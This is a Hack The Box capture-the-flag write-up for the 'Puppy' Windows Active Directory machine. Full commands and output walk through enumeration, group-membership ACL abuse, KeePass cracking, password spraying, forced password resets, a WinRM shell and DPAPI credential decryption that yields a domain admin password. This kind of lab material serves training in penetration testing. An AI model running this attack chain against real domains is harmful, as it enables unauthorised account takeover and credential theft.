HTB Puppy CTF Writeup
Medium-rated Windows Active Directory box. BloodHound reveals GenericAll over a security group, enabling self-addition for access to a KeePass database in SMB. DPAPI secrets decrypted from the database recover credentials used for privilege escalation.
HTB Puppy CTF
Overview
Difficulty: Medium
Operating System: Windows Server 2022
Domain: PUPPY.HTB
Key Techniques: Active Directory enumeration, ACL abuse, DPAPI decryption, credential harvesting
This box focuses on Active Directory attack paths, leveraging misconfigured ACLs, group memberships, and credential storage to achieve domain compromise.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.93 scan initiated Sat May 24 09:45:52 2025 as: nmap -A -oN scans/nmap.initial -vv -Pn 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up, received user-set (0.23s latency).
Scanned at 2025-05-24 09:45:52 -03 for 295s
Not shown: 986 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-05-24 19:46:16Z)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
2049/tcp open status syn-ack 1 (RPC #100024)
3260/tcp open iscsi? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
SMB Service Enumeration
I first enumerated shares using netexec:
1
2
3
4
5
6
7
8
9
10
11
12
user@attackbox:~/hacking/htb/machines/medium/puppy$ nxc smb 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.10.11.70 445 DC [*] Enumerated shares
SMB 10.10.11.70 445 DC Share Permissions Remark
SMB 10.10.11.70 445 DC ----- ----------- ------
SMB 10.10.11.70 445 DC ADMIN$ Remote Admin
SMB 10.10.11.70 445 DC C$ Default share
SMB 10.10.11.70 445 DC DEV DEV-SHARE for PUPPY-DEVS
SMB 10.10.11.70 445 DC IPC$ READ Remote IPC
SMB 10.10.11.70 445 DC NETLOGON READ Logon server share
SMB 10.10.11.70 445 DC SYSVOL READ Logon server share
But as you can see, the the user can only read default shares (IPC$, NETLOGON and SYSVOL). The DEV share is unusual, but we don’t have access to it as of right now.
AD Enumeration
BloodHound Collection
Using the provided set of credentials, I ran bloodhound to enumerate the AD environment:
1
nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --bloodhound -c All
BloodHound automatically maps Active Directory relationships, ACLs, and attack paths. It’s essential for identifying privilege escalation routes in AD environments.
BloodHound Analysis - Developers Group Discovery
In bloodhound, it shows that my user (levi.james) is already part of the Developers group:
Export some quick variables for the environment:
1
2
3
4
export dc=10.10.11.70
export password='KingofAkron2025!'
export username=levi.james
export domain=puppy.htb
Verification with bloodyAD showed the information from bloodhound was incorrect:
1
2
3
4
5
$ python3 ~/hacking/tools/bloodyAD/bloodyAD.py --host dc.puppy.htb -d puppy.htb -u levi.james -p $password get object levi.james
<SNIP>
memberOf: CN=HR,DC=PUPPY,DC=HTB
<SNIP>
The HR group has GenericAll over the Developers group. I add my user to the developers group:
1
bloodyAD.py --host $dc -d $domain -u $username -p $password add groupMember Developers levi.james
Just to make sure they are really in the group:
1
2
$ python3 ~/hacking/tools/bloodyAD/bloodyAD.py --host $dc -d $domain -u $username -p $password get object levi.james | grep --color memberOf
memberOf: CN=DEVELOPERS,DC=PUPPY,DC=HTB; CN=HR,DC=PUPPY,DC=HTB
Now I can access the DEV share. I accessed it and downloaded a recovery keepassxc database. I cracked the database password using keepass2john and john:
1
2
3
# Download and crack the database
keepass2john recovery.kdbx > kp2john.txt
john kp2john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cracking results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(.venv) user@attackbox:~/hacking/htb/machines/medium/puppy$ john kp2john.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 5 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
Failed to use huge pages (not pre-allocated via sysctl? that's fine)
liverpool (recovery)
1g 0:00:00:15 DONE (2025-05-24 18:42) 0.06623g/s 2.649p/s 2.649c/s 2.649C/s liverpool..123123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
The cracked password is: liverpool
Then I opened the keepassxc database and grabbed all the passwords in it (saved to passwords.txt):
1
2
3
4
5
6
KingofAkron2025!
Steve2025!
ILY2025!
JamieLove2025!
Antman2025!
HJKL2025!
Create usernames.txt:
1
nxc ldap 10.10.11.70 -u levi.james -p 'KingofAkron2025!' --users-export usernames.txt
This is how usernames.txt looks like:
1
2
3
4
5
6
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm
I can begin password spraying the domain:
1
2
3
4
5
6
7
8
9
$ nxc smb 10.10.11.70 -u usernames.txt -p passwords.txt --continue-on-success
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
<SNIP>
SMB 10.10.11.70 445 DC [+] PUPPY.HTB\ant.edwards:Antman2025!
<SNIP>
Privilege Escalation - ACL Abuse
BloodHound Path Analysis
I found one new valid credential thanks to the password spraying:
1
PUPPY.HTB\ant.edwards:Antman2025!
From the bloodhound scan, I can see that this user has outbound privileges in the domain:
Password Reset Attack
With the GenericAll ACL, I can force change the password for adam.silver:
1
net rpc password "adam.silver" "SuperSecurePassword123!" -U "PUPPY.HTB"/"ant.edwards"%"Antman2025!" -S "dc.puppy.htb"
Account Disabled Issue
However, when I try to log in, the response is that the account is disabled (STATUS_ACCOUNT_DISABLED):
1
2
3
$ nxc smb 10.10.11.70 -u adam.silver -p 'SuperSecurePassword123!' --shares
SMB 10.10.11.70 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:SuperSecurePassword123! STATUS_ACCOUNT_DISABLED
Re-enabling the Account
Not exactly what I wanted, but I can remove this attribute thanks to the GenericAll we have over this user:
1
2
$ python3 ~/hacking/tools/bloodyAD/bloodyAD.py --host dc.puppy.htb -d puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
And now the account is enabled again.
Initial Access - WinRM Shell
As “adam.silvers” is member of the “remote management users” group, I can log in to the machine via evilwinrm:
1
2
3
4
5
6
7
8
9
10
$ evil-winrm -i 10.10.11.70 -u adam.silver -p 'SuperSecurePassword123!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
Lateral Movement - Backup Analysis
Located backup files in C:\Backups:
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Backups> dir
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 7:40 AM 1234567 site-backup.zip
After downloading and extracting the backup locally, I found an LDAP configuration file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(.venv) user@attackbox:~/hacking/htb/machines/medium/puppy/site-backup/puppy$ cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
New credentials:
1
steph.cooper:ChefSteph2025!
Vertical Privilege Escalation - DPAPI Attack
I logged in to the machine as “steph.cooper”, and did transfer winpeas64.exe to it.
Upon running winpeas and analyzing the output, I could locate valid DPAPI credentials:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
���������� Checking for DPAPI Master Keys
� https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
MasterKey: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:40:36 AM
Modified: 3/8/2025 7:40:36 AM
=================================================================================================
���������� Checking for DPAPI Credential Files
� https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
CredFile: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
Description: Local Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 8:14:09 AM
Modified: 3/8/2025 8:14:09 AM
Size: 11068
=================================================================================================
CredFile: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9
Description: Enterprise Credential Data
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407
Accessed: 3/8/2025 7:54:29 AM
Modified: 3/8/2025 7:54:29 AM
Size: 414
I did transfer all those files to my attacking machine, and could decrypt the masterkey using the user password, obtaining the key in hexadecimal format:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
user@attackbox:~/hacking/htb/machines/medium/puppy/dpapi$ dpapi.py masterkey -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -file 556a2412-1275-4ccf-b721-e6a0b4f90407
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Password:
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
And using the hexadecimal key I could decrypt the credential file, obtaining the password for another domain user:
1
2
3
4
5
6
7
8
9
10
11
12
13
user@attackbox:~/hacking/htb/machines/medium/puppy/dpapi$ dpapi.py credential -file creds/C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
And with that the box is complete! I can use the credentials to log in with administrative privileges via winrm:
1
evil-winrm -i puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!'
References
Tools Used
- nmap - Network/service enumeration
- NetExec (nxc) - SMB/LDAP enumeration and authentication
- BloodHound - Active Directory attack path mapping
- bloodyAD - Active Directory manipulation
- john - Password cracking
- keepass2john - KeePass database hash extraction
- evil-winrm - Windows remote management shell
- WinPEAS - Windows privilege escalation enumeration
- dpapi.py (Impacket) - DPAPI decryption
- net rpc - Remote password changes via Samba


